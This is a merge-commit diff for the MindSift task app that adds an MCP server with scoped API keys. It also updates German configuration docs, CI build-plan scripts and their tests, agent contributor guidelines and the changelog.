Merge dev into main (v0.28.0)

MindSift now speaks MCP (Streamable HTTP, stateless JSON-RPC) at POST /api/v1/mcp so
Claude Code, Codex, Claude Desktop, Cursor and custom agents can read, create and
complete tasks and keep shared lists. API keys get the scopes tasks:read/write and
lists:read/write; tools/list only shows what the key may call and every tool checks
its scope. Task and list write paths are shared helpers (updateTask, createTask,
addListItem, setListItemDone) used by REST and MCP alike.

Settings: scope selection and the SectionPicker (import, restore) use ToggleSwitch
rows instead of checkbox-like buttons; new MCP section with connection snippets for
Claude Code, Codex and JSON configs. Docs, README, help and changelog updated; v0.28.0.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

.env.example

@@ -1,27 +1,151 @@
-# MindSift Environment Configuration
-PORT=8080
-DATA_DIR=/data
-DATABASE_URL=sqlite:///data/mindsift.db
-JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
-BASE_URL=http://localhost:8080
-ALLOW_REGISTRATION=false
-# Logging level: debug, info, warn, error (Default: info)
-LOG_LEVEL=info
-# LOG_LEVEL=debug
-# DEBUG=true
+# MindSift – Einstellungen
+# Kopieren nach .env (cp .env.example .env) und anpassen; docker-compose.yml liest die Werte von dort.
+# Leer gelassene Werte nehmen den Standard aus docker-compose.yml. Nach Änderungen: docker compose up -d
 
-# Optional SMTP Server Configuration for Email Alarms (can also be set in Admin Settings UI)
+# ─── Grundeinstellungen ────────────────────────────────────────────────────────────────────────────
+
+# Port auf dem Host, unter dem MindSift erreichbar ist (im Container immer 8080).
+PORT=8080
+
+# Geheimer Schlüssel für die Anmeldung, mindestens 32 zufällige Zeichen, z. B. von: openssl rand -hex 32
+# Bekannte Beispielwerte (wie dieser) werden ignoriert; dann erzeugt MindSift selbst einen und legt ihn in data/ ab.
+JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
+
+# Öffentliche Adresse der Instanz, so wie sie im Browser aufgerufen wird. Wird für Links in E-Mails
+# (Passwort zurücksetzen) gebraucht und beschränkt, von welcher Adresse Live-Verbindungen kommen dürfen.
+BASE_URL=http://localhost:8080
+
+# Zeitzone für Fälligkeiten und Alarme (Standard Europe/Berlin).
+TZ=Europe/Berlin
+
+# Registrierung ohne Einladung. Ohne Angabe entscheidet Administration → Server & Isolation.
+# Gesetzt ist es dort gesperrt:
+#   closed           nur mit Einladung
+#   approval         jeder darf sich registrieren, ein Admin schaltet frei
+#   domain           nur E-Mail-Adressen aus REGISTRATION_DOMAINS, sofort aktiv
+#   domain+approval  diese Endungen sofort, alle anderen nach Freigabe
+#   open             jeder, sofort aktiv
+# REGISTRATION_MODE=approval
+# REGISTRATION_DOMAINS=firma.de, familie.de
+# Neue Konten ohne Einladung bestätigen zuerst ihre E-Mail-Adresse per Link (braucht SMTP und BASE_URL):
+# REGISTRATION_VERIFY_EMAIL=true
+# Alt: true entspricht REGISTRATION_MODE=open; false lässt die Wahl dem Admin.
+ALLOW_REGISTRATION=false
+
+# ─── Sicherheit ────────────────────────────────────────────────────────────────────────────────────
+
+# Wessen Angaben zur Besucher-Adresse (X-Forwarded-For / X-Real-IP) geglaubt werden. Wichtig für die
+# Login-Sperre hinter einem Reverse-Proxy.
+#   private  Proxys im lokalen Netz, Docker-Netz oder Tailscale (Standard, passt für die meisten Setups)
+#   none     keinem Proxy glauben (MindSift direkt im Internet)
+#   all      jedem glauben (schaltet die Prüfung ab)
+#   Liste    zusätzlich eigene Adressen, z. B. private,203.0.113.0/24 (Cloudflare und andere externe Proxys)
+TRUSTED_PROXIES=private
+
+# Sperre nach Fehlversuchen beim Login und Limits für Registrierung und „Passwort vergessen“.
+# false schaltet beides ab (nur sinnvoll, wenn ein vorgeschalteter Dienst das übernimmt).
+LOGIN_PROTECTION=true
+
+# ─── Protokoll ─────────────────────────────────────────────────────────────────────────────────────
+
+# Wie ausführlich das Container-Log ist: debug, info, warn oder error.
+LOG_LEVEL=info
+# true = ausführliches Protokoll aller Anfragen und der Synchronisation (wie LOG_LEVEL=debug).
+DEBUG=false
+
+# ─── Demo ──────────────────────────────────────────────────────────────────────────────────────────
+
+# true = öffentliche Demo: legt die Konten admin/admin und user/user mit Beispieldaten an. Die Demo
+# verschickt nichts (keine Mails, Webhooks, Alarme) und schützt die gemeinsam genutzten Konten.
+MINDA_DEMO=false
+# Nur in der Demo: alle so viele Minuten auf die Beispieldaten zurücksetzen (0 = nie).
+DEMO_RESET_MINUTES=20
+
+# ─── E-Mail (optional) ─────────────────────────────────────────────────────────────────────────────
+# Für Alarm-Mails und „Passwort vergessen“. Lässt sich alternativ in Administration → E-Mail einstellen;
+# Werte dort haben Vorrang.
+
+# Mailserver, z. B. smtp.example.com. Leer = kein Mailversand.
 SMTP_HOST=
+# 587 (STARTTLS) oder 465 (TLS ab Verbindungsbeginn).
 SMTP_PORT=587
+# Anmeldung am Mailserver; leer, wenn der Server keine verlangt.
 SMTP_USER=
 SMTP_PASS=
-SMTP_FROM=noreply@mindsift.local
+# Absenderadresse, z. B. noreply@example.com. Leer = SMTP_USER bzw. noreply@mindsift.local.
+SMTP_FROM=
+# Name, den Mailprogramme als Absender zeigen (wenn SMTP_FROM nur eine Adresse ist).
+# Ein Name direkt in SMTP_FROM ("Mein Dienst <noreply@example.com>") hat Vorrang.
+SMTP_FROM_NAME=MindSift
+# Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele
+# Minuten als eine Nachricht verschickt. Fällige Aufgaben kommen immer sofort.
+NOTIFY_DIGEST_MINUTES=5
+# true = nur verschlüsselt senden.
 SMTP_TLS=true
-# Only for internal mail servers with self-signed certificates
+# true = selbstsignierte Zertifikate akzeptieren (nur für interne Mailserver).
 SMTP_SKIP_VERIFY=false
 
-# Optional legal notices: external link and/or Markdown (inline or as file path)
+# Web-Push (Benachrichtigungen auf Handy und Desktop, auch bei geschlossener App).
+# Ohne Angabe erzeugt MindSift beim ersten Bedarf ein Schlüsselpaar und speichert es in der Datenbank.
+# VAPID_SUBJECT: Kontakt für die Push-Dienste (mailto: oder https://); Standard ist BASE_URL, wenn https.
+# VAPID_PUBLIC_KEY=
+# VAPID_PRIVATE_KEY=
+# VAPID_SUBJECT=mailto:admin@example.com
+
+# ─── Impressum und Datenschutz (optional) ──────────────────────────────────────────────────────────
+# Werden auf der Anmeldeseite und in den Einstellungen verlinkt. Entweder als Link auf eine externe
+# Seite (nur http/https) oder als Markdown-Text, direkt hier oder als Datei (per Volume einbinden).
+# Ohne Angaben bleiben die Links unsichtbar.
 LEGAL_IMPRINT_URL=
 LEGAL_PRIVACY_URL=
+LEGAL_IMPRINT_CONTENT=
+LEGAL_PRIVACY_CONTENT=
+# Pfad im Container, z. B. /legal/impressum.md
 LEGAL_IMPRINT_CONTENT_FILE=
 LEGAL_PRIVACY_CONTENT_FILE=
+# Eigener Link im Footer (nur https://)
+LEGAL_CUSTOM_LINK_LABEL=
+LEGAL_CUSTOM_LINK_URL=
+
+# ─── Bilder und Audio in Notizen ───────────────────────────────────────────────────────────────────
+# Dateien liegen in data/media/ und sind nur für Personen sichtbar, die die Notiz lesen dürfen. Nicht mehr
+# verwendete Dateien räumt MindSift nach einem Tag selbst weg.
+
+# Größtes Bild in MB (der Browser verkleinert Fotos vorher auf höchstens 2048 Pixel).
+MEDIA_MAX_IMAGE_MB=15
+# Größte Audiodatei in MB (Sprachnotiz oder hochgeladene Datei).
+MEDIA_MAX_AUDIO_MB=50
+# Speicherplatz für Medien pro Person in MB; 0 = unbegrenzt.
+MEDIA_QUOTA_MB=0
+# Nur in der Demo: größte Datei in MB (Dateien verschwinden beim Demo-Reset).
+MEDIA_DEMO_MAX_MB=3
+
+# ─── Spracherkennung (optional) ────────────────────────────────────────────────────────────────────
+# Ohne STT_URL nutzt MindSift die Spracherkennung des Browsers (Chrome, Edge, Safari; die Aufnahme geht
+# dabei an Google, Microsoft bzw. Apple). Mit eigenem Whisper-Server bleibt alles auf deinem Server und
+# es funktioniert in allen Browsern. Dazu den Block „whisper“ in docker-compose.yml einkommentieren
+# (Anleitung steht dort). Fehler stehen im Log: docker compose logs mindsift whisper
+
+# Adresse des Whisper-Servers (OpenAI-kompatibel, z. B. speaches). Gesetzt = Server-Modus.
+STT_URL=
+# Modell: deepdml/faster-whisper-large-v3-turbo-ct2 (beste Erkennung, ca. 2 GB RAM, langsamer)
+#         Systran/faster-whisper-small (ca. 1 GB RAM, deutlich schneller, kleine Fehler)
+STT_MODEL=deepdml/faster-whisper-large-v3-turbo-ct2
+# Sprachcode, z. B. de oder en; auto = automatisch erkennen.
+STT_LANGUAGE=de
+# Nur falls der Whisper-Server einen Schlüssel verlangt (bei speaches: dessen API_KEY).
+STT_API_KEY=
+# true = Mikrofon überall ausblenden, auch die Browser-Erkennung.
+STT_DISABLED=false
+
+# Schutzwerte für den Server-Modus
+# Längste Aufnahme in Sekunden; danach beendet der Browser die Aufnahme selbst.
+STT_MAX_SECONDS=600
+# Größte Aufnahme in MB.
+STT_MAX_UPLOAD_MB=25
+# Wie viele Erkennungen gleichzeitig laufen; weitere warten in der Schlange. 1 schont schwache CPUs.
+STT_MAX_PARALLEL=1
+# Erkennungen pro Person und Stunde.
+STT_PER_USER_PER_HOUR=60
+# Höchstdauer einer Erkennung in Sekunden, Warten in der Schlange eingeschlossen.
+STT_TIMEOUT_SECONDS=120

.gitea/scripts/build-plan.sh

@@ -0,0 +1,91 @@
+#!/usr/bin/env bash
+# Decides per CI run: build with tests, build without tests, or only retag an existing image.
+# Tests run once per code state: the images carry the git tree and commit as labels
+# (io.mindsift.tree, org.opencontainers.image.revision), so no extra image tags are needed.
+#   dev   -> build and test, tag :dev
+#   main  -> build :latest; tests are skipped when :dev was built from the same tree
+#   v*    -> retag :latest when it was built from this commit, else build (tests skipped when
+#            :dev or :latest has the same tree); :stable only for releases without "-"
+# Inputs (environment): REF, COMMIT (default HEAD), IMAGE, PKG_VERSION (default from package.json),
+# LABEL_CMD (prints a label of a remote image: LABEL_CMD <image> <label>; for tests)
+set -euo pipefail
+
+REF="${REF:-}"
+COMMIT="${COMMIT:-HEAD}"
+IMAGE="${IMAGE:-}"
+PKG_VERSION="${PKG_VERSION:-}"
+if [ -z "${PKG_VERSION}" ] && [ -f frontend/package.json ]; then
+  PKG_VERSION="$(sed -nE 's/^  "version": "([^"]+)".*/\1/p' frontend/package.json | head -n1)"
+fi
+
+SHA="$(git rev-parse "${COMMIT}^{commit}")"
+TREE="$(git rev-parse "${COMMIT}^{tree}")"
+
+# Label of an image in the registry ("" when the image or label does not exist)
+image_label() {
+  if [ -n "${LABEL_CMD:-}" ]; then
+    ${LABEL_CMD} "$1" "$2" 2>/dev/null || true
+    return
+  fi
+  docker pull -q "$1" >/dev/null 2>&1 || return 0
+  docker inspect -f "{{ index .Config.Labels \"$2\" }}" "$1" 2>/dev/null | sed 's/^<no value>$//' || true
+}
+
+ACTION="build"
+SKIP_TESTS="0"
+APP_VERSION=""
+TAGS=""
+SOURCE_IMAGE=""
+REASON=""
+
+case "${REF}" in
+  refs/heads/dev)
+    TAGS="dev"
+    REASON="dev: build with all tests"
+    ;;
+  refs/heads/main)
+    TAGS="latest"
+    APP_VERSION="v${PKG_VERSION}"
+    if [ -n "${IMAGE}" ] && [ "$(image_label "${IMAGE}:dev" io.mindsift.tree)" = "${TREE}" ]; then
+      SKIP_TESTS="1"
+      REASON="main: same code as the tested :dev image, tests skipped"
+    else
+      REASON="main: code not tested as :dev yet, build with all tests"
+    fi
+    ;;
+  refs/tags/v*)
+    TAG_NAME="${REF#refs/tags/}"
+    TAGS="${TAG_NAME}"
+    case "${TAG_NAME}" in *-*) ;; *) TAGS="${TAG_NAME} stable" ;; esac
+    if [ -n "${IMAGE}" ] && [ "$(image_label "${IMAGE}:latest" org.opencontainers.image.revision)" = "${SHA}" ]; then
+      ACTION="retag"
+      SOURCE_IMAGE="${IMAGE}:latest"
+      SKIP_TESTS="1"
+      REASON="tag ${TAG_NAME}: :latest was built from this commit, retag without building"
+    else
+      APP_VERSION="${TAG_NAME}"
+      if [ -n "${IMAGE}" ] && { [ "$(image_label "${IMAGE}:dev" io.mindsift.tree)" = "${TREE}" ] ||
+        [ "$(image_label "${IMAGE}:latest" io.mindsift.tree)" = "${TREE}" ]; }; then
+        SKIP_TESTS="1"
+        REASON="tag ${TAG_NAME}: code already tested, build without tests"
+      else
+        REASON="tag ${TAG_NAME}: build with all tests"
+      fi
+    fi
+    ;;
+  *)
+    TAGS="$(echo "${REF#refs/heads/}" | sed 's#/#-#g' | tr '[:upper:]' '[:lower:]')"
+    REASON="branch ${REF}: build with all tests"
+    ;;
+esac
+
+{
+  echo "action=${ACTION}"
+  echo "skip_tests=${SKIP_TESTS}"
+  echo "app_version=${APP_VERSION}"
+  echo "tags=${TAGS}"
+  echo "source_image=${SOURCE_IMAGE}"
+  echo "sha=${SHA}"
+  echo "tree=${TREE}"
+  echo "reason=${REASON}"
+} | tee -a "${GITHUB_OUTPUT:-/dev/null}"

.gitea/scripts/test-build-plan.sh

@@ -0,0 +1,51 @@
+#!/usr/bin/env bash
+# Checks build-plan.sh against a fake registry (labels given per case). Usage: .gitea/scripts/test-build-plan.sh
+set -euo pipefail
+cd "$(git rev-parse --show-toplevel)"
+PLAN=.gitea/scripts/build-plan.sh
+IMAGE=registry.example/mindsift
+SHA="$(git rev-parse HEAD)"
+TREE="$(git rev-parse HEAD^{tree})"
+MOCK="$(mktemp)"
+trap 'rm -f "$MOCK"' EXIT
+# The fake registry answers from $DEV_TREE, $LATEST_TREE and $LATEST_SHA
+cat >"$MOCK" <<'EOF'
+#!/usr/bin/env bash
+case "$1 $2" in
+  *:dev\ io.mindsift.tree) echo "${DEV_TREE:-}" ;;
+  *:latest\ io.mindsift.tree) echo "${LATEST_TREE:-}" ;;
+  *:latest\ org.opencontainers.image.revision) echo "${LATEST_SHA:-}" ;;
+esac
+EOF
+chmod +x "$MOCK"
+
+fails=0
+expect() { # name, REF, expected "action skip_tests tags", env assignments…
+  local name="$1" ref="$2" want="$3"
+  shift 3
+  local out
+  out="$(env "$@" REF="$ref" IMAGE="$IMAGE" PKG_VERSION=0.10.0 LABEL_CMD="$MOCK" GITHUB_OUTPUT= "$PLAN")"
+  local got
+  got="$(echo "$out" | sed -n 's/^action=//p') $(echo "$out" | sed -n 's/^skip_tests=//p') $(echo "$out" | sed -n 's/^tags=//p')"
+  if [ "$got" = "$want" ]; then
+    echo "OK   $name: $got"
+  else
+    echo "FEHL $name: erwartet '$want', bekommen '$got'"
+    fails=$((fails + 1))
+  fi
+}
+
+expect "dev baut mit Tests" refs/heads/dev "build 0 dev"
+expect "main nach getestetem dev" refs/heads/main "build 1 latest" DEV_TREE="$TREE"
+expect "main mit anderem Stand" refs/heads/main "build 0 latest" DEV_TREE=0000
+expect "Tag auf latest-Commit" refs/tags/v0.10.0 "retag 1 v0.10.0 stable" LATEST_SHA="$SHA" LATEST_TREE="$TREE"
+expect "Tag, latest fehlt, dev getestet" refs/tags/v0.10.0 "build 1 v0.10.0 stable" DEV_TREE="$TREE"
+expect "Tag auf unbekanntem Stand" refs/tags/v0.10.0 "build 0 v0.10.0 stable"
+expect "Vorabversion ohne stable" refs/tags/v0.11.0-rc.1 "retag 1 v0.11.0-rc.1" LATEST_SHA="$SHA"
+expect "Feature-Branch" refs/heads/feat/x "build 0 feat-x"
+
+if [ "$fails" -gt 0 ]; then
+  echo "$fails FEHLGESCHLAGEN"
+  exit 1
+fi
+echo "ALLE FÄLLE BESTANDEN"

.gitea/workflows/build-and-publish.yaml

@@ -4,6 +4,10 @@ name: MindSift CI & Docker Release
 #   push to dev      -> :dev
 #   push/merge main  -> :latest
 #   git tag v1.2.0   -> :v1.2.0 and :stable
+#   git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
+# Tests run once per code state (.gitea/scripts/build-plan.sh): main skips them when :dev was built
+# from the same code, a tag on the commit of :latest only retags it. The images carry commit and git
+# tree as labels for this, so no extra tags end up in the registry.
 on:
   push:
     branches:
@@ -20,42 +24,16 @@ jobs:
       - name: Checkout Code
         uses: actions/checkout@v4
 
-      - name: Determine Registry & Docker Tag
+      - name: Determine Registry & Image
         id: prep
         run: |
           SERVER_URL="${GITHUB_SERVER_URL:-https://git.dsit.me}"
           REGISTRY_HOST=$(echo "${SERVER_URL}" | sed -E 's#^https?://##' | sed 's#/$##')
-          if [ -z "${REGISTRY_HOST}" ]; then
-            REGISTRY_HOST="git.dsit.me"
-          fi
-
+          [ -z "${REGISTRY_HOST}" ] && REGISTRY_HOST="git.dsit.me"
           REPO_PATH="${GITHUB_REPOSITORY:-sandrodach/mindsift}"
-          IMAGE_NAME=$(echo "${REGISTRY_HOST}/${REPO_PATH}" | tr '[:upper:]' '[:lower:]')
-          REF_NAME="${GITHUB_REF_NAME:-latest}"
-          ACTOR_NAME="${GITHUB_ACTOR:-sandrodach}"
-
-          # Ersetze evtl. Slashes in Branch-Namen (z.B. rc/1.1 -> rc-1.1) für valide Docker-Tags
-          DOCKER_TAG=$(echo "${REF_NAME}" | sed 's#/#-#g' | tr '[:upper:]' '[:lower:]')
-
-          # All tags of this run (space separated)
-          case "${GITHUB_REF:-}" in
-            refs/tags/*)  TAGS="${DOCKER_TAG} stable" ;;
-            refs/heads/main) TAGS="latest" ;;
-            *)            TAGS="${DOCKER_TAG}" ;;
-          esac
-
           echo "registry=${REGISTRY_HOST}" >> "$GITHUB_OUTPUT"
-          echo "image=${IMAGE_NAME}" >> "$GITHUB_OUTPUT"
-          echo "tag=${TAGS%% *}" >> "$GITHUB_OUTPUT"
-          echo "tags=${TAGS}" >> "$GITHUB_OUTPUT"
-          echo "actor=${ACTOR_NAME}" >> "$GITHUB_OUTPUT"
-          # Releases (tags) show the tag as version in the app header
-          APP_VERSION=""
-          case "${GITHUB_REF:-}" in
-            refs/tags/*) APP_VERSION="${REF_NAME}" ;;
-          esac
-          echo "app_version=${APP_VERSION}" >> "$GITHUB_OUTPUT"
-          echo "Target Docker image: ${IMAGE_NAME} tags: ${TAGS} (Registry: ${REGISTRY_HOST}, Actor: ${ACTOR_NAME})"
+          echo "image=$(echo "${REGISTRY_HOST}/${REPO_PATH}" | tr '[:upper:]' '[:lower:]')" >> "$GITHUB_OUTPUT"
+          echo "actor=${GITHUB_ACTOR:-sandrodach}" >> "$GITHUB_OUTPUT"
 
       - name: Login to Gitea Container Registry
         uses: docker/login-action@v3
@@ -64,12 +42,30 @@ jobs:
           username: ${{ steps.prep.outputs.actor }}
           password: ${{ secrets.PUSH_TOKEN || secrets.GITEA_TOKEN || github.token }}
 
-      - name: Build & Run All Checks in Container, then Push
+      - name: Build Plan
+        id: plan
+        run: REF="${GITHUB_REF:-}" COMMIT="${GITHUB_SHA:-HEAD}" IMAGE="${{ steps.prep.outputs.image }}" .gitea/scripts/build-plan.sh
+
+      - name: Build (with or without tests) or Retag, then Push
         run: |
           IMAGE="${{ steps.prep.outputs.image }}"
+          TAGS="${{ steps.plan.outputs.tags }}"
+          echo "ℹ️ ${{ steps.plan.outputs.reason }}"
+          if [ "${{ steps.plan.outputs.action }}" = "retag" ]; then
+            SOURCE="${{ steps.plan.outputs.source_image }}"
+            docker pull "${SOURCE}"
+            for t in ${TAGS}; do
+              docker tag "${SOURCE}" "${IMAGE}:${t}"
+              docker push "${IMAGE}:${t}"
+            done
+          else
             TAG_ARGS=""
-          for t in ${{ steps.prep.outputs.tags }}; do TAG_ARGS="${TAG_ARGS} -t ${IMAGE}:${t}"; done
-          echo "🚀 Building container & executing Frontend/Backend checks inside image: ${IMAGE} (tags: ${{ steps.prep.outputs.tags }})"
-          DOCKER_BUILDKIT=1 docker build --progress=plain --build-arg APP_VERSION="${{ steps.prep.outputs.app_version }}" ${TAG_ARGS} .
-          echo "✅ All checks & tests passed inside container! Pushing..."
-          for t in ${{ steps.prep.outputs.tags }}; do docker push "${IMAGE}:${t}"; done
+            for t in ${TAGS}; do TAG_ARGS="${TAG_ARGS} -t ${IMAGE}:${t}"; done
+            DOCKER_BUILDKIT=1 docker build --progress=plain \
+              --build-arg APP_VERSION="${{ steps.plan.outputs.app_version }}" \
+              --build-arg SKIP_TESTS="${{ steps.plan.outputs.skip_tests }}" \
+              --build-arg GIT_SHA="${{ steps.plan.outputs.sha }}" \
+              --build-arg GIT_TREE="${{ steps.plan.outputs.tree }}" \
+              ${TAG_ARGS} .
+            for t in ${TAGS}; do docker push "${IMAGE}:${t}"; done
+          fi

.gitignore

@@ -18,3 +18,6 @@ dev-data/
 .idea/
 .vscode/
 e2e/node_modules/
+
+# Whisper models (docker compose service "whisper")
+whisper/

AGENTS.md

@@ -0,0 +1,87 @@
+# Hinweise für Coding-Agenten
+
+Regeln für die Arbeit an MindSift, die nicht aus dem Code selbst hervorgehen. Aufbau und Technik stehen in [Doku/](Doku/README.md), vor allem [architecture.md](Doku/architecture.md).
+
+## Sprache und Stil
+
+- **Deutsch:** Oberflächentexte, Fehlermeldungen für Nutzer, E-Mails, `CHANGELOG.md`, `README.md`, `Doku/`.
+- **Englisch:** Code-Kommentare und Commit-Nachrichten.
+- **Commit-Nachrichten** im Stil `feat(bereich): …`, `fix(bereich): …`, `docs: …`, `style(bereich): …`. Am Ende die Zeile `Co-Authored-By: …` des jeweiligen Agenten.
+- Neuer Code richtet sich nach dem umgebenden Code: Benennung, Kommentardichte, vorhandene Helfer statt neuer Varianten.
+
+## Umgebung
+
+Auf dem Entwicklungsrechner sind weder Node noch Go installiert. Alles läuft in Containern (podman):
+
+```bash
+# Frontend: Typen, Lint, Tests
+podman run --rm -v "$PWD/frontend":/app:Z -w /app docker.io/library/node:22-alpine \
+  sh -c "npx tsc --noEmit && npx eslint src/… && npx vitest run"
+
+# Backend: vet und Tests
+podman run --rm -v "$PWD":/src:Z -w /src docker.io/library/golang:1.24-alpine \
+  sh -c "go vet ./... && go test ./internal/..."
+```
+
+Die Linter-Warnungen `react-hooks/exhaustive-deps` gibt es schon länger; neuer Code soll keine zusätzlichen Warnungen bringen.
+
+## Prüfen während der Arbeit
+
+- **Gezielt prüfen:** `tsc`, die betroffenen Frontend-Tests, `go vet` und `go test`. Den vollen Build macht nur der Server (siehe Release-Ablauf); ein kompletter `podman build .` vorher ist doppelte Arbeit.
+- **Oberfläche im Browser ansehen**, besonders Handy-Ansichten: Image bauen, im Demo-Modus starten, mit Playwright aus dem `e2e/`-Ordner prüfen (Vorbild: `e2e/screenshots.sh`). Handy-Emulation mit `isMobile: true, hasTouch: true`; Finger-Gesten lassen sich über das Chrome DevTools Protocol (`Input.dispatchTouchEvent`) nachstellen.
+
+  ```bash
+  podman build -q -t mindsift-check .
+  podman run -d --rm --name ms-check --network host -e PORT=18555 -e MINDA_DEMO=true \
+    -e DEMO_RESET_MINUTES=0 -e JWT_SECRET=check-only mindsift-check
+  # Demo-Anmeldung: admin/admin bzw. user/user
+  ```
+- **Zeitabhängiger Code** (Alarme, Tageszusammenfassung, Begrüßungen, Termine): nie `time.Now()` dort, wo eine übergebene Zeit gemeint ist. Die betroffenen Go-Tests zusätzlich mit verschiedenen `TZ`-Werten laufen lassen (z. B. `Europe/Berlin`, `America/Los_Angeles`, `Asia/Tokyo`). Ein uhrzeitabhängiger Test hat schon einmal einen Release verhindert, weil er nur vormittags grün war.
+
+## Screenshots
+
+- Bilder in `screenshots/` (README) sind **WebP**, keine PNG: Desktop und Theme-Raster 1280 px breit, Handy 480 px, Qualität 90. Das bringt rund ein Fünftel der PNG-Größe bei sauberer Schrift.
+- Erzeugt werden sie mit `e2e/screenshots.sh`; das Skript nimmt PNGs auf und wandelt sie am Ende mit `cwebp` (Alpine-Container) um. Einzelne Bilder neu aufnehmen: denselben Ablauf aus `screenshots.mjs` verwenden und mit dem Umwandlungsschritt aus `screenshots.sh` konvertieren.
+- Chromiums eigenes WebP (`canvas.toDataURL('image/webp')`) nicht verwenden: verlustfrei wird es größer als die PNG.
+
+## Release-Ablauf
+
+**Committen** ist jederzeit erlaubt. **Jeder Push ist ein Release**, also mit Version und CHANGELOG-Eintrag.
+
+1. **Version erhöhen** (SemVer: Fehlerbehebung → Patch, neue Funktion → Minor):
+   - `frontend/package.json` (Feld `version`)
+   - `frontend/package-lock.json`: nur die beiden Versionszeilen von MindSift selbst (Zeile 3 und 9), nicht die gleichlautenden Versionen von Abhängigkeiten
+   - Versions-Badge oben in `README.md`
+2. **CHANGELOG:** neuer Abschnitt `## [x.y.z] - JJJJ-MM-TT` unter `## [Unreleased]` (Format *Keep a Changelog*, Abschnitte Added/Changed/Fixed), unten die Vergleichslinks `[Unreleased]` und `[x.y.z]` anpassen. Einträge auf Deutsch und aus Sicht der Nutzer.
+3. **Doku nachziehen**, wenn sich Verhalten oder API ändern (`README.md`, `Doku/api/rest.md`, `Doku/architecture.md`).
+4. Committen, dann **nur nach `dev` pushen**.
+5. **Warten, bis der `dev`-Build auf dem Server grün ist.** Schlägt er fehl: auf `dev` beheben, nicht nach `main` mergen.
+6. Nach `main` mergen (`git merge --no-ff dev -m "Merge dev into main (vx.y.z)"`) und pushen.
+7. **Warten, bis der `main`-Build grün ist.** Erst dann gilt das Release als draußen.
+
+Ist ein Release nie gebaut worden (CI fehlgeschlagen), bleibt die Versionsnummer, und die Korrektur kommt in denselben CHANGELOG-Abschnitt.
+
+**Git-Tags nur auf ausdrücklichen Wunsch.** Tags lassen zusätzliche Images bauen; genutzt werden nur `:dev` und `:latest`. Wenn gewünscht: `git tag -a vx.y.z -m "MindSift vx.y.z"` auf den Merge-Commit in `main` und den Tag pushen.
+
+Fremde Branches (z. B. von anderen Agenten) werden vor dem Mergen geprüft.
+
+### CI auf dem Git-Server
+
+- Workflow: `.gitea/workflows/build-and-publish.yaml`, Entscheidung in `.gitea/scripts/build-plan.sh`.
+- `dev` → Image `:dev`, mit allen Tests (Dockerfile: tsc, Lint, Frontend-Tests, `go vet`, Go-Tests).
+- `main` → Image `:latest` mit `APP_VERSION=v<package.json-Version>`; überspringt die Tests, wenn `:dev` aus demselben Code gebaut wurde. Deshalb erst nach grünem `dev`-Build mergen.
+- Tag `v*` → `:vx.y.z` und `:stable`.
+- Status der letzten Läufe:
+
+  ```bash
+  curl -s "https://git.dsit.me/api/v1/repos/sandrodach/MindSift/actions/tasks?limit=4"
+  # workflow_runs[].head_branch / .status (success|failure|…) / .display_title
+  ```
+
+## Oberfläche
+
+- **Einheitliche Bedienelemente:** Personen-Suche, Profilbild-Stapel, Zähler und weitere Muster stehen in [Doku/ui-patterns.md](Doku/ui-patterns.md). Vorhandene Komponenten verwenden statt neuer Varianten; neue gemeinsame Muster dort ergänzen.
+- **Handy und Desktop:** Unter `sm` ist Handy-Layout, ab `lg` die volle Desktop-Ansicht (z. B. Seitenleiste neben der Notiz). Wird nur das Handy geändert, bleiben die Werte ab `sm`/`lg` exakt wie vorher.
+- **Antippen am Handy:** Ziele mindestens 44 px hoch (`h-11 sm:h-…`). Auf reinen Touch-Geräten gibt es kein HTML5-Drag-&-Drop; Kanban nutzt dafür `useKanbanTouchDrag`, die Notizen die Leiste über der Tastatur (`MobileOutlineBar`).
+- **Themes:** Farben nur über die Theme-Variablen bzw. Klassen (`bg-panel`, `bg-canvas`, `text-main`, `text-muted`, `border-border`, `bg-accent` …), keine festen Farben. Rahmen mit `bg-panel`/`bg-canvas` bekommen die Ecken des Themes automatisch; liegt darin ein Kopfbereich mit eigenem Hintergrund, braucht der Rahmen `overflow-hidden`, sonst ragen bei runden Ecken die Kanten heraus.
+- **Installierte App (PWA):** Manifest-Änderungen (Farben, Verknüpfungen) übernimmt Android erst, wenn es die App aktualisiert (bis etwa einen Tag) oder nach Neuinstallation; normaler App-Code kommt beim nächsten Start. Ändert sich der Cache-Inhalt des Service Workers, `VERSION` in `frontend/public/sw.js` erhöhen.

CHANGELOG.md

@@ -0,0 +1,610 @@
+# Changelog
+
+Alle nennenswerten Änderungen an MindSift stehen in dieser Datei.
+
+Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert.
+
+## [Unreleased]
+
+## [0.28.0] - 2026-10-31
+
+### Added
+- KI-Agenten anbinden (MCP): MindSift ist jetzt ein MCP-Server unter `POST /api/v1/mcp`. Claude Code, OpenAI Codex, Claude Desktop, Cursor und eigene Agenten können offene Aufgaben auslesen, abhaken, anlegen und ändern sowie Einkaufs- und Checklisten lesen, ergänzen und abhaken. Freigaben gelten wie für dich selbst; Notizen bleiben für Agenten unerreichbar.
+- API-Keys haben dafür neue Berechtigungen: Aufgaben lesen / ändern, Listen lesen / ändern. Der Agent sieht nur die Werkzeuge, für die sein Key freigegeben ist. Die Einstellungen zeigen den fertigen Befehl für Claude Code, die `config.toml` für Codex und die JSON-Konfiguration für Claude Desktop und Cursor.
+
+### Changed
+- Einstellungen: Die Berechtigungen eines API-Keys und die Bereiche beim Import und Wiederherstellen (Notizen, Aufgaben, Listen, Inbox, Themes) sind jetzt Schalter wie im Rest der Einstellungen statt anklickbarer Buttons mit Haken.
+- Der Einstellungsbereich heißt jetzt „Webhooks, KI-Agenten & Export“.
+
+## [0.27.1] - 2026-10-31
+
+### Fixed
+- Notizen am Handy: Die Leiste zum Ein- und Ausrücken über der Tastatur blieb stehen, wenn man die Tastatur schloss (z. B. mit der Zurück-Taste), und verdeckte die untere Navigation. Sie erscheint jetzt nur, solange die Tastatur offen ist; ein Tipp in den Punkt holt beides zurück.
+
+## [0.27.0] - 2026-10-31
+
+### Changed
